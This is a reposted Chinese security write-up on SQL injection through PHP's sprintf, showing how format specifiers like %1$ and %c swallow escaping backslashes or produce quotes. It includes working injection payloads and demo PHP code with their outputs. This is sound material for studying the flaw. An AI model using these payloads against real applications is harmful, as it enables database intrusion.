sprintf格式化字符串帶來的注入隱患


原文鏈接:https://paper.seebug.org/386/

摘要點關鍵知識點

<?php

$input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;

通過fuzz得知,在php的格式化字符串中,%后的一個字符(除了'%')會被當作字符類型,而被吃掉,單引號',斜杠\也不例外。

如果能提前將%' and 1=1#拼接入sql語句,若存在SQLi過濾,單引號會被轉義成\'

select * from user where username = '%\' and 1=1#';

然后這句sql語句如果繼續進入格式化字符串,\會被%吃掉,'成功逃逸

<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>

還可以使用%1$吃掉后面的斜杠,而不引起報錯

<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>

國外安全研究人員Anthony Ferrara給出了另一種此漏洞的利用方式

<?php

$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;

%c起到了類似chr()的效果,將數字39轉化為',從而導致了sql注入。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM